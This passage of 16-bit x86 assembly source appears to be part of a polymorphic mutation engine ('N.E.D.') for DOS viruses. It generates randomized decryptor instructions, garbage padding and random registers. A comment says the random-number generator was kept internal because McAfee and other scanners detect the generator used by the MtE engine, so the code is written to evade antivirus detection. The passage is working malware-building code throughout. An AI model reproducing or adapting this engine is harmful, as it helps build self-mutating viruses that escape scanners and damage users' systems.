  762.         mov    ax,dx            ; AX holds the load value
  763. put_byte_or_wd:    jcxz    store_byte        ; If it's a byte, store it
  764.         stosw                ; Otherwise store a whole word
  765.         ret                ; Return to caller
  766. store_byte:    stosb                ; Store the byte in the code
  767.         ret                ; Return to caller
  768.  
  769. make_add_sub:   mov    al,080h            ; Create the OP byte
  770.         add    al,cl            ; If it's a word, add one
  771.         stosb                ; Store the byte
  772.         mov    al,ah            ; AL now holds ModR/M byte
  773.         add    al,bl            ; Add back the register ModR/M
  774.         stosb                ; Store the byte in the code
  775.         xchg    bp,ax            ; AX holds the ADD/SUB value
  776.         jmp    short put_byte_or_wd    ; Reuse the above code
  777.  
  778. _tmp_jmp_store    dw    ?            ; Pointer: temp. storage
  779. _jump_table    dw    load_sub - ned_start, load_add - ned_start
  780.         dw    load_xor - ned_start, load_not - ned_start
  781.         dw    load_neg - ned_start, load_move - ned_start
  782.         dw    make_mov - ned_start
  783. gen_mov        endp
  784.  
  785.  
  786. ;******************************************************************************
  787. ; gen_add_sub
  788. ;
  789. ; Adds code to adjust a register either up or down.  A random combination
  790. ; of ADD/SUBs and INC/DECs is used to increase code variability.  Note
  791. ; that this procedure will only work on *word* registers; attempts to
  792. ; use this procedure for byte registers (AH, AL, etc.) may result in
  793. ; invalid code being generated.
  794. ;
  795. ; Arguments:    BX = ModR/M table offset for register
  796. ;        CX = Number to be added/subtracted from the register
  797. ;        DX = 0 for addition, 1 for subtraction
  798. ;        SI = offset of ned_start
  799. ;        DI = offset of storage buffer
  800. ;
  801. ; Returns:    None
  802. ;******************************************************************************
  803.  
  804. gen_add_sub    proc    near
  805.         jcxz    exit_g_a_s        ; Exit if there's no adjustment
  806. add_sub_loop:   call    add_nop            ; Add a do-nothing instruction?
  807.         cmp    cx,3            ; Have to adjust > 3 bytes?
  808.         ja    use_add_sub        ; If so, no way we use INC/DEC!
  809.         test    word ptr [options],0100b; Are ADD/SUBs allowed?
  810.         jne    use_inc_dec        ; If not, only use INC/DECs
  811.         mov    ax,3            ; Select a random number
  812.         call    rand_num                ; between 0 and 2
  813.         or    ax,ax            ; Does AX = 0?
  814.         je    use_add_sub        ; If so, use ADD or SUB
  815. use_inc_dec:    mov    al,byte ptr [word_adj_table + bx]  ; Table look-up
  816.         add    al,040h            ; It's an INC...
  817.         or    dx,dx            ; Are we adding?
  818.         je    store_it0        ; If so, store it
  819.         add    al,08h            ; Otherwise create a DEC
  820. store_it0:    stosb                ; Store the byte
  821.         dec    cx            ; Subtract one fromt total count
  822.         jmp    short cxz_check        ; Finish off the loop
  823. use_add_sub:    mov    ax,2            ; Select a random number
  824.         call    rand_num                ; between 0 and 1
  825.         shl    ax,1            ; Now it's either 0 or 2
  826.         mov    bp,ax            ; Save the value for later
  827.         add    al,081h            ; We're going to be stupid
  828.         stosb                ; and use an ADD or SUB instead
  829.         mov    al,byte ptr [word_adj_table + bx]  ; Table look-up
  830.         add    al,0C0h            ; It's an ADD...
  831.         or    dx,dx            ; Are we adding?
  832.         je    store_it1        ; If so, store it
  833.         add    al,028h            ; Otherwise create a SUB
  834. store_it1:    stosb                ; Store the byte
  835.         mov        ax,cx            ; Select a random number
  836.         call    rand_num        ; between 0 and (CX - 1)
  837.         inc    ax            ; Ok, add back one
  838.         or    bp,bp            ; Does BP = 0?
  839.         je    long_form        ; If so, it's the long way
  840.         stosb                ; Store the byte
  841.         jmp    short sub_from_cx    ; Adjust the count now...
  842. long_form:    stosw                ; Store the whole word
  843. sub_from_cx:    sub    cx,ax            ; Adjust total count by AX
  844. cxz_check:    or    cx,cx            ; Are we done yet?
  845.         jne     add_sub_loop        ; If not, repeat until we are
  846. exit_g_a_s:    ret                ; Return to caller
  847. gen_add_sub    endp
  848.  
  849.  
  850. ;******************************************************************************
  851. ; random_fill
  852. ;
  853. ; Pads out the decryption with random garbage; this is only enabled if
  854. ; bit 3 of the options byte is set.
  855. ;
  856. ; Arguments:    SI = offset of ned_start
  857. ;        DI = offset of storage buffer
  858. ;
  859. ; Returns:    None
  860. ;******************************************************************************
  861.  
  862. random_fill    proc    near
  863.         test    word ptr [options],01000b  ; Are we allowing this?
  864.         jne    exit_r_f        ; If not, don't add garbage
  865.         mov    ax,2            ; Select a random number
  866.         call    rand_num                ; between 0 and 1
  867.         xchg    cx,ax            ; Wow!  A shortcut to save
  868.         jcxz    exit_r_f        ; a byte!  If AX = 0, exit
  869.         mov    ax,101            ; Select a random number
  870.         call    rand_num                ; between 0 and 100
  871.         xchg    cx,ax            ; Transfer to CX for LOOP
  872.         jcxz    exit_r_f        ; If CX = 0 then exit now...
  873.         mov    al,0EBh            ; We'll be doing a short
  874.         stosb                ; jump over the code...
  875.         mov    ax,cx            ; Let's get that value back
  876.         stosb                ; We'll skip that many bytes
  877. garbage_loop:    mov    ax,0FFFFh        ; Select a random number
  878.         call    rand_num                ; between 0 and 65534
  879.         stosb                ; Store a random byte
  880.         loop    garbage_loop        ; while (--_CX == 0);
  881. exit_r_f:    ret                ; Return to caller
  882. random_fill    endp
  883.  
  884.  
  885. ;******************************************************************************
  886. ; random_reg
  887. ;
  888. ; Returns the number of a random register.  If CX = 1, a byte register is
  889. ; used; if CX = 0, a word register is selected.
  890. ;
  891. ; Arguments:    CX = 0 for word, 1 for byte
  892. ;        SI = offset of ned_start
  893. ;        DI = offset of storage buffer
  894. ;
  895. ; Returns:    AX = register number
  896. ;        BX = register's offset in cross-off table (used_it)
  897. ;******************************************************************************
  898.  
  899. random_reg    proc    near
  900. get_rand_reg:    mov    ax,cx            ; Select a random number
  901.         add    ax,7            ; between 0 and 6 for words
  902.         call    rand_num                ; or 0 and 7 for bytes
  903.         mov    bx,ax            ; Place in BX for indexing
  904.         shr    bx,cl            ; Divide by two for bytes only
  905.         cmp    byte ptr [used_it + bx],0  ; Register conflict?
  906.         jne    get_rand_reg        ; If so, try again
  907.         ret                ; Return to caller
  908. random_reg    endp
  909.  
  910.  
  911. ;******************************************************************************
  912. ; rand_num
  913. ;
  914. ; Random number generation procedure for the N.E.D.  This procedure can
  915. ; be safely changed without affecting the rest of the module, with the
  916. ; following restrictions:  all registers that are changed must be preserved
  917. ; (except, of course, AX), and AX must return a random number between
  918. ; 0 and (BX - 1).  This routine was kept internal to avoid the mistake
  919. ; that MtE made, that is using a separate .OBJ file for the RNG.  (When
  920. ; a separate file is used, the RNG's location isn't neccessarily known,
  921. ; and therefore the engine can't encrypt it.  McAfee, etc. scan for
  922. ; the random-number generator.)
  923. ;
  924. ; Arguments:    BX = maximum random number + 1
  925. ;
  926. ; Returns:    AX = psuedo-random number between 0 and (BX - 1)
  927. ;******************************************************************************
  928.  
  929. rand_num    proc    near
  930.         push    dx            ; Save DX
  931.         push    cx            ; Save CX
  932.  
  933.         push    ax            ; Save AX
  934.  
  935.         rol    word ptr [rand_val],1    ; Adjust seed for "randomness"
  936.         add    word ptr [rand_val],0754Eh  ; Adjust it again
  937.  
  938.         xor    ah,ah            ; BIOS get timer function
  939.         int    01Ah
  940.  
  941.         xor    word ptr [rand_val],dx    ; XOR seed by BIOS timer
  942.         xor    dx,dx            ; Clear DX for division...
  943.  
  944.         mov    ax,word ptr [rand_val]    ; Return number in AX
  945.         pop    cx            ; CX holds max value
  946.         div    cx            ; DX = AX % max_val
  947.         xchg    dx,ax            ; AX holds final value
  948.  
  949.         pop    cx            ; Restore CX
  950.         pop    dx            ; Restore DX
  951.         ret                ; Return to caller
  952.  
  953. _rand_val    dw    0            ; Seed for generator
  954. rand_num    endp
  955.  
  956. ned_end        label    near            ; The end of the N.E.D.
  957.  
  958.         end